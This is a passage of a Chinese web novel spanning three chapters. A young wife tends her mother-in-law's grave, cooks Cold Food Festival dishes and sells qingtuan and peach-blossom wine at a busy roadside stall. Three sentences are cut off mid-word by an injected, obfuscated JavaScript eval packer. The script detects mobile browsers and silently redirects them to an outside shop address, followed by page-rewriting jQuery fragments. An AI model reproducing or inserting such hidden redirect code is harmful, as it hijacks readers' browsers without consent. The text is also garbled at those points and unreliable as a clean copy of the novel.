徐晔见这几天丁宝珠一直在忙活,更是兴奋得好像已经急着想去摆摊子了——别人都是想出去踏青玩耍的多,她倒好,竟然急着去做生意…… 但是那扫墓不能不扫,所以徐晔想过后,便带上那些预备好的东西,让丁宝珠跟着一起去扫墓。 徐翊见比以往早去,却也没说什么,只嘱咐了几句,又说自己留下看家,就放两人而去。 徐晔清楚,自家爹这是怕睹物伤情,也就与丁宝珠离家了。 两人各拎了个篮子,里面装着香烛和徐晔亲手折的纸钱元宝,丁宝珠则是盛了一小坛子自酿的米酒,还额外做了一份凉糕,一并带过去。 只是她原以为徐晔的娘是葬在平地,或是象山村里的单独的墓聚地,却没想到是葬在山上——甚至不是山脚下,不是山半腰,而是平常见着的高耸山峦。 丁宝珠即便有上过象山,却也没去过那么高的地方,而且爬山又和走在平地不一样。她原本还能忍,后面实在忍不住,在后方稍稍气喘地喊道: “徐、徐晔,你等等,你能慢些吗?” 徐晔早已跟着徐翊不知来过多少次,不仅如履平地,还仿佛有着轻功似的,好像嗖嗖嗖地就能往山上不停地窜去。他回头见丁宝珠脸红红的,在这时节额头间还流了不少汗,可想而知是真的累了。 徐晔又目测了下距离,解释道: “也没几步了,到了那就能休息,你来。” 丁宝珠抬袖口擦了擦汗,毕竟也是在做件大事,正想一鼓作气地继续往前,眼前却突然出现了一只手。徐晔的手没那么修长,指节端甚至还能见到明显的茧子,但是那掌心却厚厚的,看着十分有安全感。 他都伸过来了,丁宝珠也没理由无视,而且要是这么做了,今后他们的关系岂不是更糟糕?所以她仅仅是想了下,就毫不犹豫握住了那只手,继续往上爬。 但那不假思索的神气却使徐晔怔了一怔,明明这段路程对他来说算不得什么,也能面不红气不喘的,偏偏这时他就感觉脸烫了一下,心里油然觉得自己有点不争气。 可手里已经握着那只手了,那手也是没想象中的那么细,有几分力气,可到底是有区别的,那就是要比男人柔软。好在过了不久到了目的地,徐晔立马就松开了,胸前的悸动这才慢慢平息。 丁宝珠反倒没想那么多,平复着呼吸擦着余汗,她放眼望去,果然在杂草丛生的某处看到了一个小小的石碑,但那石碑上也没刻写什么,不过普通人的墓碑大抵也就是这样了。 徐晔蹲下身把石碑旁边的杂草都给拔去了,空出了一小片空地,露出裸/露的土地来。然后从篮里取出了香烛点上,丁宝珠也连忙跟上,把那酒坛和凉糕拿了出来。 一盘子凉糕叠成塔状,酒坛揭开,先在那空地上倒了些,之后便是烧那纸钱元宝了,很快就有了那灼烧的气味,不是特别刺鼻,又有一抹热浪扑面,可在这种氛围下,却是有了别样的感觉。 把坟立在山上并不罕见,尤其还是就住在象山下的几个村庄,所以每回扫墓是要爬山的。烧着纸钱,那烧毁的黑白色纸连同灰烬悠悠飘荡在山头上。 徐晔亲娘的坟大概是亲自挑的一处偏僻地界,既寂静又少有人能过来,当然也是他们提早过来扫墓的缘故,附近并没有什么其他的哀戚之声,只有那刮着茂密枝叶的风声穿梭而过。 徐晔一直没有出声,毕竟他相当于从来没见过自己的亲娘,关于她娘的信息还是从其他人口中知晓的,要说感情,也同样是个不上不下的地步。 易燃物烧得快,烧了半数元宝,徐晔瞥了眼在一旁默不作声的丁宝珠,想了想,还是开口道: “娘,我成家了,娶了媳妇儿,您在九泉之下,应该也能像我爹那样放心了。” 丁宝珠抿抿唇,面对这情景,她便也道: “娘,你好,我是丁宝珠,是徐晔他媳妇儿,您在那边就安心吧,我们今后一定会把日子给过好的。” 无论如何,场面话是要多讲讲的。丁宝珠原先完全不相信牛鬼蛇神,可现在自己就是最好的例子,也就不由得起了几分心思。 徐晔听着,似是满意她的一番措辞。元宝烧到最后,不知从哪飘来一阵濛濛细雨,如牛毛又如细丝,竟是洒在那余烬上,不过多时就灭了。 随之而来的还有泠泠的夹杂着雨丝的凉风,徐晔留了那米酒和凉糕在原地,又在坟周围新填了填土,便对丁宝珠说道: “我们回去吧。” “行。” 丁宝珠答应着,起身又和轻车熟路的徐晔下山了。脚下是坚实的土壤山石和细目的杂草,那下山比上山要快些,而那高处的朦胧的远景绕着一圈薄雾,也是低处所见不到的。 但这么一段路程,丁宝珠可不想浪费,在绵绵细雨下,她又找到了不少山里物,尤其是之后做青团完全不能缺少的一件材料——那就是艾草。 两人的篮子里眼下都是空的,所以她留下大采特采,直把篮子都放满了,压了压还能再放些,身上还抱着不少才罢休。 回到家,徐晔去与徐翊说话,丁宝珠则是去了灶房。他们这次提前去扫墓,扫完后,就该是其他人出门的时刻了。 要做外出摆摊的吃食,却也要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482479|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里吃的。寒食时不能开火,吃的也都是冷食,所以要提前准备。 这里还是习惯吃粥,丁宝珠就做了一大锅浓稠的麦粥。这麦粥实际上与普通的粥没有太大分别,都是将那米煮得粒粒开花,但在这时还要调一碗麦粉糊,也倒入锅中熬煮,那粥里就有了一股属于麦子的清香了,连那颜色也变得略微棕红。 麦粥等冷却过后就可以喝了,但完全冷却后就会凝固,成为一种半软半硬的固体,甚至还能用刀切成一块块的。 可麦粥不管怎么凝固,到底也是稀的。家里留下徐翊徐晔两父子,他们的胃口可大了,所以丁宝珠不仅做了一大锅麦粥,还用荞麦面和粗面和面做了许多蒸饼,在上面嵌了几颗枣子做点缀,是为枣饼,足够他们管饱了。 另外买来的那些咸蛋,她把里面的蛋黄完整地取出要做青团,却把蛋白给留下了,可那些蛋白也不能浪费。 于是她择了野菜,切了肉干,将蛋白全部切成厚片,又上锅蒸得白嫩白嫩的,这才下锅和其他食材一起炒,因为咸蛋白本就是咸的,所以不用再加多少调味料,只需要再淋一些豆酱来上色。 那蛋白鲜嫩,油光锃亮,香气扑鼻,就成了一盘足以送粥饼的美味的菜色了,同样也和麦粥蒸饼那样做了一大盘。 另外再有那些家里的腌菜,随吃随拿,也足够度过寒食了。但丁宝珠预备那日继续去村外摆摊,所以与徐晔徐翊吃过饭后,就去制作届时要售卖的吃食了。 这时候的艾叶极嫩,只是味道不免大了些,而且还是种独特的苦味,所以在处理时还需要先煮一遍,煮过的湿艾草微微沥干水分,丁宝珠又去找出石臼来,把那艾草不停地搅打,直至打成了一种泥状。 为了尽量做得完美,丁宝珠还特意找来一片布头用来提取那更纯的艾草汁液,但那艾草泥也是要留下的。 接下来就是她最为熟悉的步骤了,恰巧那青团也是用糯米粉做的,所以她只要揉成面团,再在里面加入艾草泥,那面团就渐渐变了颜色,若是干了,仍是加那艾草汁,半空中就出现了一抹浅浅的清香来。 揉均匀的艾绿色面团备用,丁宝珠又去准备馅料。咸蛋白去掉后就还剩下那圆圆的咸蛋黄,那咸蛋黄已经很硬了,她仔仔细细地把上面那层极薄的白膜给撕去,又撒了些酒液去腥,依然是上锅去蒸。 蒸熟后的咸蛋黄碾碎成泥,再把先前做好的肉松放进去,丁宝珠还添了油和调料,做了满满一碗的蛋黄肉松馅料。 除了这个馅儿,丁宝珠还做了另一种笋丁腊肉咸馅,这馅料要比前一个馅料做起来简单多了,只要把那笋子切得细细的,腊肉切得小小的,运用她最为熟练的调味,也就成了。 以及两种甜馅——经典的红豆沙和红糖枣泥,起码能接受这两种馅料的人肯定更多。 做好了面团和馅料,接着只需要一个个包好就行了。而就在这时,丁宝珠又将从姚丹那买来的所有鸡子拿了过来。 事实上这些鸡子买来并不是在家里吃的,不然总共就一斤鸡子,怕是还不够家里塞牙缝的呢,这些鸡子也是她准备带出去售卖的。 只是普通的鸡子没有什么新意,所以丁宝珠想着让这平常的鸡子也沾染点节日的氛围,于是要做艾草煮鸡子。 这种鸡子做起来倒是和茶叶蛋相差无几,先是把那些鸡子都煮熟了,轻轻敲破蛋壳,锅里再煮上艾草和红糖后,又与鸡子同煮,煮过后还要在那原汁里浸泡一段时辰,让那味道彻底地浸入鸡子里,才算好了。 完成所有的吃食,丁宝珠才放心了,提前布置妥当,也就睡下,只等明天一大早,再去村外占个好位置。 46. 蛋黄肉松青团 翌日清晨,丁宝珠迷迷糊糊醒来,心里惦念着自己的生意,忙不迭起床穿衣梳洗了。 那徐晔自与她睡在一起后,一上了床从来是背对着她的,倒也算沾枕即眠。只是如今丁宝珠可以说起得越来越早,他又敏感,时不时就能把他一起给带醒了。 徐晔揉揉眼,翻过身眯着眼一看,旁边已是空出不少了。他们盖的还是那床相对来说比较崭新的喜被,上面绣着荷叶、莲蓬和鸳鸯,这样精细的花纹,可想而知被面早就已经开始在做了。 里面还絮了些棉花做被胎,光是这点棉花,那价值就不低,而在这偶尔会倒春寒的时节还显得暖和,所以身旁空出来的感觉也格外清晰。 他见丁宝珠在梳髻,挠了挠自己少许蓬蓬的乱发,嗄声道: “你这么早就要走了?” 丁宝珠摸了摸后脑勺那绑得紧紧的头绳,偏眼一瞧,那没有梳顺头发的徐晔盘着腿佝着腰坐在床上,看着有些毛毵毵的,尚惺忪的神气令丁宝珠不由自主地一笑道: “是啊,今天寒食,路上的摊子肯定更多了,必须要早点去占个好位置呢。” 人们在寒食时都会外出踏青,就连摆摊卖东西的种类也多出不少来,肯定也有其他卖吃食的摊子,竞争力和其他日子比绝对是上升的,要提早能占个位置倒还好了。 与她说的相同,徐家一家子似乎是默认她做生意的行径了,竟意外地皆没有多讲什么。大抵也是因为丁宝珠偶尔还会汇报一下,证明自己是有在赚钱的,否则哪能那么顺利。 而又因为要一大早就去售卖,有时候来不及做早食,虽然最后是由李银屏做的,可丁宝珠每次都那么早出门,徐晔反而要晚了些,而去吃早食时也通常见不到她。 徐晔想到这不禁皱了皱眉,对于村里人来说,他们更看重早食和午食,毕竟一整个白昼他们都要干活,要是不吃,那之后一定没力气做事。 于是他说: “还是一起吃了早食再去吧,也不差这点时间。” 丁宝珠还真是第一次听他这样劝自己,而且等会儿招待也多,思索了片刻便点头应了。 洗漱后又把餐桌立上,做的那一大锅麦粥果然已经凝固了,她用刀划开来,成了棕红色的粥块儿。又从坛子里捞了几块腌菜,还把那罐子饴糖也取出,连同一并做的枣子蒸饼都放在了桌上。 徐翊徐晔这时也穿衣出来了,丁宝珠笑道: “爹,徐晔,可以吃早食了。” “嗳,辛苦儿媳妇了。”徐翊微笑道,入座后没多久,他又问道,“晔儿媳妇,你放在灶房的那些筐子,都是要带去外面卖的么?” 丁宝珠和徐晔的口味有些不一样,就像同样吃那凝固的麦粥,后者夹着那腌菜一起吃,她自己则是在上面淋了点饴糖再吃的,冰冰凉凉又十分清甜。 至于黑虎,它平常看家护院的,若是没有外人在连点声响都没,唯有吃饭的时候会吐着舌头嗬嗬几声等着放饭,丁宝珠也拌了点粥饼给它吃。 听徐翊那么问,她又点头道: “是的,爹,那些都是要拿去卖的,我都准备好了,如果运气好的话,今天能都卖出去呢。” “晔儿媳妇还真是能干呐。”徐翊不吝啬夸奖,却又考虑道,“只是那么多筐子,你一个人咋运到村外去?要不……就让晔儿帮你,今天人多,你们两个人到了那儿也好互相帮忙。” 丁宝珠一时没有回答,而原本在埋头吃饭的徐晔果然抬起头来,微微蹙眉道: “爹,那田那边……” “我们家里的地已经差不多耕好了,除开之前预备种下的,儿媳妇的豆子也种了,接下来就是打理,用不着多紧。”徐翊娓娓道来地解释着,好像看向徐晔的眼里莫名还有点恨铁不成钢。“再说今天要忙,你难道不去帮帮你媳妇儿?” 徐晔哑口无言,只能接着低头去吃粥,丁宝珠莞尔一笑,两三口也把那粥吃了。 没想到徐翊看着和丁宏一样五大三粗,心里却是挺细腻的。她正好在想着该如何把那些吃食给运过去,其实她要是和徐晔提前说一声,后者或许也不是不会帮她,但她现在和他简直就像刚认识没多久的舍友,她自己又是一个人惯的,难免最后成了没拉下脸去找,没想到却被徐翊看出来了。 而且也是这个缘故,怕也是被长辈看出来她和徐晔的关系了——至少在长辈眼里,那就是属于不和睦的,所以这时在想办法让他们多接触呢! 丁宝珠对此倒是无所谓,只要能让她去做买卖就成,然而徐晔要想的可能就多了,只是碍于是徐翊的话,所以他不得不照做。 吃过早食收拾好,丁宝珠要带的那些吃食已经放满了四个筐子,也就比平日里多,但恰好是一人一根扁担,挑起来就能上路了。 一前一后无言地出了村子,徐晔这次出声问道: “你那地方在哪?” “就是上次你来买凉糕时的树下,我之后就一直在那里卖了,而且还很适合取花瓣呢。” 丁宝珠在前面回答着,熟门熟路地就往那个方向而去。 可在后面跟着的徐晔却是怔了怔,他没想到她会这么回答,莫非她还记得他第一次去她摊上买东西的场景? 心里一动,仿佛被那花瓣尖柔柔地触了下,嘴里却哼声道: “那棵树是不是都快要被你薅秃了?” “哪里会,我又不傻,就逮着一棵树,而且它又不是羊毛,我薅它做什么……” 丁宝珠继续答着,不知为何那话语却突然被砍断了一样停下了,徐晔疑惑地多上前几步,跟着那目光望去,原来那棵树下已经被别人的摊子占据了。 而此时这大道两旁已是出现了不少叫卖声,除去素日里能看到那些常见的摊贩,又多了不少卖柳枝花朵、玩具、冠梳的小摊子,很有种寒食节的氛围。 当然卖食物的也有,而且卖的也都是应节的冷食——凉粉、凉粥、糕点、茶水之类的,吆喝声不绝于耳。 而丁宝珠前方的这摊贩,徐晔不认识,她却知道是谁——就是那个见凉糕有销路所以也跟着卖凉糕,结果那效果却不如她的贩子。今儿是寒食,卖凉糕也是应景的,可丁宝珠瞄了眼,却发现那摊上的不是凉糕了,而是清一色绿油油的艾团子。 ……得,他们这是又撞上了! 而那双臂折着放进两个袖口的小贩看过来,似乎是也认出她了,但立马鼻尖哼了一声,硬是无视了她,还生了根似地不打算走了,只顾着去叫卖。 徐晔见小贩是这种莫名的态度,心里不禁有些不爽,但还没说什么,丁宝珠就道: “算了,咱们去别的地方看看吧。” 摆摊主打就是在一个地方流动,没有固定,轮到人身上就是先到先得,她也没资格让别人让开再自己去摆,只能另寻地界了。 在这个时候,有一个属于自己的店门的重要性就显而易见了,可惜她距离那儿还早着呢。 今天不仅是游人多,出来摆摊的贩子也多,丁宝珠和徐晔好不容易找到了一处没人在的空地,连忙把身上的扁担放下,占了那一小片。 这地儿不像先前那地方一样栽着树木,看着光秃秃的,但好歹是个能有客人会来的地。 丁宝珠身上的两个筐子里放着四种口味的青团,徐晔那两个筐子则是放着那艾草煮的鸡子、桃花酿和饴糖罐子,也怪不得需要帮助才能全部抬过来。 简单整理了一下,徐晔还没反应过来,丁宝珠就倏忽大声吆喝道: “瞧一瞧看一看咧,好吃的不同口味的青团子!还有煮鸡子、自酿的酒水和饴糖!快来买诶!——” 徐晔被这突如其来的喊声吓了一跳,毕竟他从来没这么大声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493532|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音说过话,久而久之,他也不习惯身处于喧嚣之下。只是他没想到,丁宝珠不但声音大,那嗓子是又亮又清,喊出的话语糅杂在春风之中,听得路过的人们不由得就被吸引住了。 再者一个做饮食的小摊子上顶多就买一两种物品,甚至是吃喝有别,可在叫卖的这个摊子听着却像是有好几样吃的,果然没多久就迎来的第一波客人。 “不同口味的青团子?有啥口味的?”一个男人停下来问着。 丁宝珠笑着招呼道:“咱做了四种口味的青团,两种甜口的,两种咸口的,甜的是红豆沙和红糖枣泥,咸口的是笋丁腊肉和蛋黄肉珑松,都是做得好吃了才拿出来卖的,客人要不选着尝尝?” 谁知听了她说话,那男人更是惊讶道: “啥?这青团子还有咸口的?笋丁腊肉听着倒还好,那蛋黄……肉珑松又是啥?” 看来这里吃青团还是甜口最为经典,不过由于咸口青团的材料有限,丁宝珠仍然是甜青团做得多,所以依旧是有得卖的。 丁宝珠笑得粲然,道:“客人要是吃不惯,那就看看甜青团,刚做出不久的,可新鲜了。” 她讲着,把那盖子打开,里面露出一个个圆溜溜的青团子,每一个都快有掌心那么大。那客人终于笑着问道: “这瞧着确实可以,咋卖的?” 想必眼前这人还是钟意甜青团了,丁宝珠倒也不气馁地一鼓作气地推销道: “红豆沙和红糖枣泥的青团都是三文钱一个,另外还有艾草煮的糖鸡子,五文钱两个,自制的扭扭饴糖一文钱一根,还有自己酿的米酒,都是应节的吃食,客人想要什么?” “你这里卖的种类倒是多!”客人多说了两句,也是在考虑,一双眼睛在各色吃食上转了两圈,才确定道,“那我就要两个红豆沙的,两个枣泥的,再来两个鸡子和三根饴糖,我买回去给家里人尝尝!” “好嘞,正好二十文,欢迎下次再来!” 丁宝珠一口答应下来,又往旁边瞥了眼木头似的徐晔,赶紧又用手肘碰了碰,后者才反应过来,收了那二十文钱。 丁宝珠先包了四个甜青团和两个煮鸡子,再用两根细木棍往那饴糖罐子里舀了糖出来,在两个棍端不断搅着,那深色的粘稠糖浆渐渐就成了浅色更硬的糖块,也一起包好了,这才递给那个客人。 等那个客人走了,丁宝珠才满意道: “果然还是过节好,摊才摆了一会儿就有人来了,而且这时候像这种买东西带回去的人更多,买的东西自然也多!” 徐晔没有回答,只是抬手看了看那二十文钱——这么点功夫,这钱就到手了? 二十文钱,几乎都可以吃一日三餐了! 丁宝珠瞧他这样,又笑着递过来一个荷包,笑道: “今天你既然是来帮我的,那好事做到底,你就留下来帮我收银吧,今儿估计要忙一点,没有帮忙就更忙了。” 徐晔接过那荷包,把那铜板放了进去,立刻就有了一点点重量——他还是没想到她外出摆摊,竟然只花了半炷香时间就开始赚钱了,他自己去卖那小型的野味,也得等上好久呢。 不过想着丁宏就会做生意,丁宝珠作为他的女儿,哪能没继承到这方面?徐晔释然后,只好叹道: “好吧,那我就留下来帮你,看看你究竟是因为运气还是真做的那么好。” 丁宝珠看他那嘴硬的模样,只是笑道: “放心吧,今天要是没把这些全都卖出去,我还不想回去了呢,反正现在也没人管我了。” 她说到这顿了顿,还不忘多盯了徐晔一眼,浅笑着说: “而且还有人愿意来帮我呢。” 徐晔听完,冷不丁脸色一变,他自己是没有发觉,或许旁人却能瞧到,他那颈间的颜色倏忽犹如此时正在慢慢变色的杏花。 47. 蛋黄肉松青团(下) 赚了第一笔金,丁宝珠继续开始叫卖,只是过来买的客人要不是来买甜青团的,就是来买煮鸡子和米酒的,还有带着孩子走在路上,于是就连那扭扭饴糖,在这过节的气氛下都会给孩子买上一根助助兴。 那徐晔深知自己今天只是个收钱的,所以一句话也不说,只在旁边默默收钱,还因为觉得自己脸上可怖,有时也只顾着低头不见人。 但过上了节,就多出不少售卖习俗小吃的贩子,尤其是那卖艾团的,而且一定有比丁宝珠卖的更便宜的。 这时候的竞争果然要愈发激烈些,所以丁宝珠会适当改变一下自己的叫卖词,原因是起初她一路来到这个摆摊地,也路过几家卖凉糕艾团的,颗颗都比她自己做的更加小巧玲珑,所以她就往这方面上修改了。 她卖的青团虽然比别的摊上要贵上一点,可是她做大了些份量,那甜青团一口咬下去,里面的馅料都要争先恐后地扑出来了。客人们也不是瞎子,知道这样算下来也都相差无几,再加上那馅料又炒制得一如既往得绵密,有些面熟的老顾客找到了丁宝珠那,也都是过来买了那甜青团,和那凉糕其实也差不多,所以她摊上甜青团的销量还是不错的。 可另外的那些咸口青团却少有人关注,大概是没有第一个出头吃的人,况且要价也不便宜,就始终没有卖出去。 丁宝珠正考虑着,却听远方突然传来一声: “宝珠姐姐!” 丁宝珠循声而望,见到一路小跑而来的丁宝姜,身后跟着丁绍和姚丹二人。 “原来你真在这里摆摊啊?” 丁宝姜今天身上穿了件较新的衣裳,毕竟是过节日,小孩子穿新衣也无可厚非,她头上还戴着一个柳枝圈子。寒食都说是阴气重,所以有戴柳条的习俗,还能够辟邪。 丁宝珠也毫不避讳地笑道:“是啊,一早就在卖了,姜儿,你今天也和三叔三婶出来踏青了?” “是啊是啊,我求了好久,爹和娘才答应的呢。” 丁宝姜一边说着,一边不忘往这摊上瞅了瞅,看到那圆鼓鼓的青团子,流动的米酒和打开的饴糖罐,也不知生意如何。 “嘿,你瞎说个啥?难道不是你讲了我们就直接答应了?” 姚丹在后面似乎是听到了,马上大大咧咧地回答着。她与丁绍一起走,虽不像丁宝姜那样穿着新衣,却也佩戴了一根折柳。 她斜了前者一眼,面对丁宝珠两人却换上了一副笑脸,道: “这回是大侄女和侄女婿一块儿出来啊?哎哟,要我说做这事儿那还得是要一块儿做的,俗话说的好,男女搭配干活不累......” 丁宝珠听得笑而不语,只是说道: “既然三叔三婶带姜儿出来玩了,没吃喝怎么行?要不要尝尝我的手艺?不瞒你们说,这里面还有我在你们那买的鸡子做的吃食呢!” 丁绍原本在旁默不作声,听到这却好奇道:“哦?真的?” 果然还是对自家的生意看重些,再者那日丁宝珠过来买货后,丁绍原想着这笔买卖是做不成的,却没想到前者如此大度,因此反倒让他们小赚了一笔,正是这缘故,他们这日过节就带着女儿出来玩了。 “当然是真的。”丁宝珠笑着指道,“三叔三婶你看,这是艾草煮的鸡子,还有这青团子里包的是咸蛋黄,可不都是从你们那买的吗?” “啥?青团子里包咸蛋黄?还有这做法?”姚丹惊奇地问道。 丁宝珠点头道:“有啊三婶,但其实里面不只是有蛋黄,还有自己做的肉珑松,这两个食材加在一块儿才好吃呢。” 她说到这,笑意更深地问: “没三叔三婶腌的咸蛋,我还做不出呢,所以……你们要不要尝尝?” 丁绍姚丹如何听不出丁宝珠的言下之意,不过他们今日本就啥也不多想了,仅是出来玩乐,当即笑道: “那你这些都是咋卖的?” 丁宝珠讲了之前的,又补充道: “蛋黄肉珑松青团八文钱一个,笋丁腊肉青团五文钱一个,三叔三婶要哪个?” 丁绍听后咋舌道:“八文钱?大侄女儿,你这定价可不低啊!” 八文钱放到外面都能吃一碗饭了,怎么会用在买个青团子上面? 丁宝珠笑道:“三叔,里面不仅包着一整个蛋黄,还填满了肉珑松,而且我的青团做得又比其他团子大呢。” 姚丹摆摆手道:“好了,大侄女儿亲手做的,今天还过节,买来尝尝就尝尝呗。” 丁绍不说话了,毕竟家里的钱都是姚丹管着的。 丁宝姜听后连忙吵着道: “娘,我要吃扭扭糖,你给我买一根呗!” “好好好,你等着,别那么急。”姚丹劝着,这才和丁宝珠说,“那就要两个那个蛋黄肉珑松的,再来一根扭扭糖吧。” 她算是也看出来了,估摸着这个馅料的青团子不大能卖出去,既然她都答应了来光顾,那买两个也未尝不可,反正也不是没钱,就买那么一次而已,全当作是给大侄女助助兴了。 “行,三婶,这些就算你十五文钱吧。” 丁宝珠大手一挥,就利落地将所有物品都交了过去。推让几番,姚丹受了那便宜,直接在那包好的青团上咬了一口,忽然睁大了眼睛。 原来那咸蛋黄是打碎了再包进去的,不但口感绵密,中间还夹杂着丝丝缕缕的肉珑松,多了一抹咸香回甘,而且越嚼越香,和清新的艾团皮一起更是香气四溢。 姚丹吃了两口,就忍不住夸赞道: “大侄女儿,你这个口味可真不错,真是不吃不知道,没想到这两个食材搭配在一块儿竟然这么配!” 丁宝珠笑道:“三婶喜欢就好。” 丁绍狐疑地也尝了一口,这里的人还是习惯吃甜的,所以丁宝珠在做馅料的时候也做成了咸甜口,里面调料的比例可是要十分精确的,所以丁绍姚丹两人原本先入为主地以为那青团是纯咸口,却没想到这口味异常地符合。 丁宝姜舔着手里的扭扭糖,抬头见自己爹娘竟然吃得那么香,不觉也馋了,拉着姚丹的衣角就说道: “娘,我也要吃青团子!你俩不能光吃独食!” 看来家里的几个年龄相近的孩子都是差不多的,丁宝珠想了想,又笑道: “三婶,不如我给你包个全家福,各个口味都有,你买回去慢慢品鉴品鉴?” 虽然那青团做得比较大,但仍是几口就能吃完了。姚丹意犹未尽地舔舔嘴角,爽快地答应道: “好啊,你包吧,要我说,你都能把这种馅儿都做得那么好吃,其他馅儿就更不用说了!” 于是两人一手交钱一手交货,三房一家人告别后便接着往前去了。 丁宝珠瞧了瞧自己的筐子,考虑一会儿,继续吆喝道: “卖酒咯!新酿的米酒!好喝的桃花酿!快来看看咯!——” 徐晔在旁一怔。这是改了售卖方向了? 寒食时人们也喜欢饮品,尤其是这年的新茶新酒,而这地方便是喝米酒多,况且这种酒喝多了也不太会醉,最适合小酌——尤其是踏青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508920|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候。 再加上那桃花酿又有活血养颜的功效,丁宝珠在这一喊,果然就有人过来买了,其中是有男有女的。 今天的人们要么是去踏青要么就是去扫墓,皆是自带了容器能装酒,倒是省得丁宝珠这里出。 过了片刻,又有一人上前来,只见他约莫天命之年,双鬓灰白,穿着一身半旧布衣,飘飘悠悠的,有几分读书人的儒雅气质。而在他身后,还跟着几个年纪相仿的人,像是同出踏春一般。 那领头的人只是瞅了眼,便问道: “娘子,这桃花酿还有没有?” “有的有的,还剩呢,客人要多少?” 那人回顾和后面的人望了眼,讨论了一番,就又从手上提上了一个酒坛子来,笑着问: “娘子,咱们外出去踏青,正好缺酒水,只是这道儿上的摊贩卖的都是千篇一律的酒,唯独你这桃花酿听着就雅致,也不知是什么样子的?” 丁宝珠拿着一根酒提子,听后立马舀了一勺酒出来,笑道: “客人您看,这是我新酿的,不仅颜色好看,味道醇,还有独属于桃花的气味呢。” “好啊,恰巧如今桃花还没有完全凋零,有这桃花酿饮倒是应景,不如我们这回就用这个吧!” 旁边有人提议着,其他人也纷纷附和。那领头的人便点头答应,又对丁宝珠说道: “那娘子就帮我打满这个坛子吧!” “好嘞。” 丁宝珠不停舀着酒盛进那坛子里,好像一勺勺舀的都是金子。要知道这酒可以说是价钱最贵的饮品了,连之前的茶水也比不上。毕竟酒是需要粮食来酿的,寻常人家能每日餐餐吃饱就不错了,哪里有多余粮食来酿酒?恐怕这道儿上专门摆摊卖酒的也不多,就给了她这个机会。 又是正巧,放满了那一个酒坛子,丁宝珠手头里的桃花酿就卖完了。她心里一估算,送上那坛子,笑道: “客人,这坛子酒有个一斤了,算你三十文钱,如何?” “可以,你这还有什么能配酒的点心么?” 那人只提了一句,丁宝珠就立即再度介绍起自己摊上的吃食来。见他带来的人多,她特意把青团按照方才那样的全家福捆绑销售,于是又卖出了两套。 收了整整几十大钱,丁宝珠送走客人,又抬手抹了抹额,喜笑颜开。这酒水果然收益喜人,也怪不得她那个从没有见过的大姑,据说如今的生活过得非常滋润。 这些还是她从柳萍那听的,原主那大姑姑是蒋氏唯一的闺女,因着已经有了三个好大儿,所以对这闺女也是比较百依百顺的,到了该出嫁的年纪,更是亲手给她说了亲事,嫁了邻村的一个酿酒户。后来不知怎么,那夫家把生意又慢慢做去了镇上,最后竟是搬去了县城做生意,只有过年时才会偶尔回娘家拜年,这导致蒋氏逢生人就说自己有个带着富贵命的好女儿。 但原主也没见过那大姑几面,就别说是丁宝珠了,连记忆里都是模糊的。可这么一想,这酿酒也确实赚钱,以后再摆摊做吃食,就算没有酒水,那饮品也是不能落下的。 徐晔数了钱收进荷包,见那荷包愈发鼓起来了,不知想起什么,突然道: “刚刚那些人,我好像在哪里见过。” “哦?” 此刻也是巳时几刻了,原本这时应该是红日当照,可在清明时节却多了几分朦胧的薄雾,四周凉飕飕的。虽说时辰在一天内还早,可他们早早过来开始售卖,已经卖了不少出去,也就忙活到现在,丁宝珠倒是想听听别人说说话了。 48. 青团盲盒 徐晔见她好奇地望过来,顿了顿便说道: “要是我没记错,刚刚那个买酒的人,貌似是邻村村塾的先生。” 他说到这,又问: “你家里不是有去那村塾读书的吗?你不清楚?” 丁宝珠摇摇头道: “那也是他去读书,又不是我,我家里又没去读书的。” 她说的家单独指的是二房,二房没有儿子,而他们是不会让女儿家去村塾的,不过真的要去那村塾,所需的耗费也不会少,况且是持续性的,可能几年都没有回报,家里没有条件的就更不会考虑了。 不过村塾的束脩不贵,几条肉干就够了,贵的是之后的笔墨纸砚书还有生活路费,就连徐家都能去。 但徐家就徐晔这么个儿子,天生就是要跟着徐翊做猎户的,自然没有要去读书的念头。 丁宝珠这才想起,那邻村名为元烁村,有着几个村庄附近唯一一座村塾,最近那里面的学生大抵都和丁笙那样上路去考试了,又是过节,这村塾里的老师也出来踏春了。 徐晔讪讪地闭了嘴,接着去做一个安静的收银机。 丁宝珠则是接着叫卖,没过一会儿,她就又碰上了熟人,原来是那群纺庄上的姑娘也出来逛了,这其中还有丁宝珍和丁宝琴。 逛着逛着,自然就看到了丁宝珠的摊子。现在她摊子上的那抹茶红豆凉糕在她们之间是无人不知的程度,全因那清苦微甘的口味十分令人上瘾,没吃过的人真是有福了。 